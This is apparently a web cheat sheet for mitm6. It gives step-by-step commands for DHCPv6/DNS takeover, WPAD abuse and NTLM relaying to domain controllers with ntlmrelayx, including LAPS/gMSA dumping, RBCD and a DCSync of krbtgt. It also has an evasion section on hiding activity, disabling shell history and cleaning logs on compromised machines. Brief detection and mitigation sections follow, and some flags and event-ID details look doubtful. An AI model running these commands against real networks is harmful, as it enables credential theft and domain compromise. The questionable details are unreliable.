Zum Inhalt springen

mitm6

mitm6 exploits the default Windows configuration where IPv6 is enabled but not properly configured. It performs Man-in-the-Middle attacks by responding to DHCPv6 requests to become the default DNS server, then relaying NTLM credentials captured through DNS/WPAD resolution to targets like domain controllers.

# Install via pip
pip install mitm6

# From source
git clone https://github.com/dirkjanm/mitm6.git
cd mitm6
pip install -r requirements.txt
python setup.py install

# Verify installation
mitm6 --version
  • Windows enables IPv6 by default but doesn’t configure it properly
  • mitm6 responds to DHCPv6 SOL_MAX_RT messages with rapid DHCPv6 replies
  • Attacker becomes the primary DNS server for the IPv6 network
  • Works on networks with Windows machines even if DHCPv6 is disabled
  • Victims request WPAD configuration via DNS
  • mitm6 responds with attacker-controlled WPAD server
  • WPAD forces authentication (NTLM) to proxy requests
  • Credentials are captured and relayed to targets
1. Listen for DHCPv6 traffic
2. Respond to DHCPv6 requests
3. Become default DNS server
4. Intercept WPAD DNS queries
5. Serve malicious WPAD config
6. Capture NTLM authentication
7. Relay to domain controller or other targets
# Listen on interface and takeover DNS
mitm6 -i eth0

# Listen on all interfaces
mitm6
# Show detailed attack progress
mitm6 -i eth0 -v

# Very verbose
mitm6 -i eth0 -vv
# Use specific interface
mitm6 -i wlan0

# List available interfaces first
ip link show
ifconfig
# Target specific domain for WPAD
mitm6 -i eth0 -d contoso.local

# Multiple domains
mitm6 -i eth0 -d contoso.local -d example.com

# Use DNS suffix list from environment
mitm6 -i eth0 --dns-suffixes contoso.local,example.com
# Set IPv6 address range for DHCP replies
mitm6 -i eth0 --prefix fd00::/64

# Spoof specific IPv6 address as DNS server
mitm6 -i eth0 --ipv6-address fd00::1

# Disable DHCP replies (DNS only)
mitm6 -i eth0 --no-dhcp
# Enable WPAD server (default)
mitm6 -i eth0 --wpad

# Disable WPAD server
mitm6 -i eth0 --no-wpad

# Custom WPAD port
mitm6 -i eth0 --wpad-port 8080
# Redirect all DNS queries to attacker
mitm6 -i eth0

# Redirect specific domain
mitm6 -i eth0 -d contoso.local

# Set authoritative DNS server
mitm6 -i eth0 --dns-server 192.168.1.100
# Terminal 1: Run mitm6
mitm6 -i eth0 -d contoso.local

# Terminal 2: Run ntlmrelayx
ntlmrelayx.py -6 -t ldap://dc01.contoso.local -l /tmp/dump

# Create LDAP dump directory
mkdir -p /tmp/dump
# Relay to both LDAP and LDAPS
mitm6 -i eth0 -d contoso.local &
ntlmrelayx.py -6 -t ldap://dc01.contoso.local -t ldaps://dc01.contoso.local
# Setup relay before starting mitm6
ntlmrelayx.py -6 -t ldap://dc01.contoso.local -w /tmp/output &

# Start DHCPv6/DNS takeover
mitm6 -i eth0 -d contoso.local

# Monitor for LDAP connections and NTLM relay
tail -f /tmp/output

Resource-Based Constrained Delegation (RBCD) Attack

Abschnitt betitelt „Resource-Based Constrained Delegation (RBCD) Attack“
# Dump LDAP and configure RBCD automatically
ntlmrelayx.py -6 -t ldap://dc01.contoso.local \
  --dump-laps \
  --dump-gmsa \
  -w /tmp/delegation_output

# mitm6 relays credentials to LDAP
mitm6 -i eth0 -d contoso.local
# Relay to DC with DCSync attack
ntlmrelayx.py -6 -t ldap://dc01.contoso.local \
  --dcsync-user CONTOSO\\krbtgt

mitm6 -i eth0 -d contoso.local
# Terminal 1: Run Responder (captures NTLM)
responder -i eth0 -A

# Terminal 2: Run mitm6 (DHCPv6/DNS takeover)
mitm6 -i eth0

# Terminal 3: Monitor for credentials
tail -f /tmp/responder-logs.txt
# Run Responder in listening mode
responder -i eth0 -I

# Run mitm6 in another terminal
mitm6 -i eth0 -d contoso.local

# Run ntlmrelayx to relay captured credentials
ntlmrelayx.py -t 192.168.1.100
# Use correct domain names to appear legitimate
mitm6 -i eth0 -d contoso.local

# Avoid ARP spoofing (mitm6 uses DHCPv6 instead)
# Less noisy than traditional MITM tools

# Use IPv6 - often overlooked and unmonitored
# Deploy on network segment with IPv6 traffic
# Run during off-hours to minimize detection
# Deploy for limited duration (minutes, not hours)

# Monitor for repeated failed NTLM attempts
# May indicate detection/alerting
  • Use legitimate-looking WPAD configurations
  • Avoid suspicious proxy settings in WPAD PAC
  • Keep mitm6 process running only while needed
  • Clean logs from compromised machines
  • Remove IPv6 routes after successful relay
# Disable bash history
unset HISTFILE

# Run commands directly without logging
mitm6 -i eth0 2>/dev/null

# Use in-memory execution if possible
# Avoid writing to disk
# Monitor for suspicious DHCPv6 activity
tcpdump -i eth0 'icmp6 and (ip6[40] == 1 or ip6[40] == 2)'

# Watch for rapid DHCPv6 replies
tcpdump -i eth0 'udp port 546 or udp port 547'

# Detect multiple DHCPv6 servers
# Alert on unusual IPv6 prefix advertisements
  • Event ID 6016 (DHCP Server): Unusual DHCP activity
  • Event ID 1202 (DNS): Unexpected DNS server changes
  • Event ID 4648 (Logon): Failed NTLM relays
  • Event ID 5152 (Windows Firewall): IPv6 rule violations
# Monitor DNS query patterns
# Alert on unexpected WPAD queries
# Watch for DNS resolution to unusual IPs
# Disable IPv6 on non-IPv6 networks
netsh int ipv6 set state disabled

# Monitor DHCPv6 with DHCP snooping
# Implement DHCP authentication

# Set DNS server statically (not via DHCP)
netsh interface ip set dns static

# Monitor for WPAD requests
# Block or control WPAD via GPO
# Enable DHCP snooping on switch
ip dhcp snooping
ip dhcp snooping vlan 1,100-200

# Trust uplink ports
ip dhcp snooping trust

# Log suspicious activity
ip dhcp snooping information option
  • Enable Attack Surface Reduction (ASR) rules
  • Block Office macros from creating child processes
  • Restrict Office applications from writing data
  • Monitor and block suspicious WPAD behavior
# Verify IPv6 is enabled on network
ip -6 route show

# Check if DHCPv6 is active
tcpdump -i eth0 'udp port 546'

# Ensure running with proper privileges
sudo mitm6 -i eth0

# Check interface is properly up
ip link show
# Verify ntlmrelayx is running
ps aux | grep ntlmrelayx

# Check target is reachable
ping -6 dc01.contoso.local

# Verify domain name is correct
nslookup -type=A contoso.local
# Check for network blocking
traceroute -6 target

# Verify no IPv6 filtering
ip6tables -L

# Test WPAD separately
curl -i http://wpad.contoso.local/wpad.dat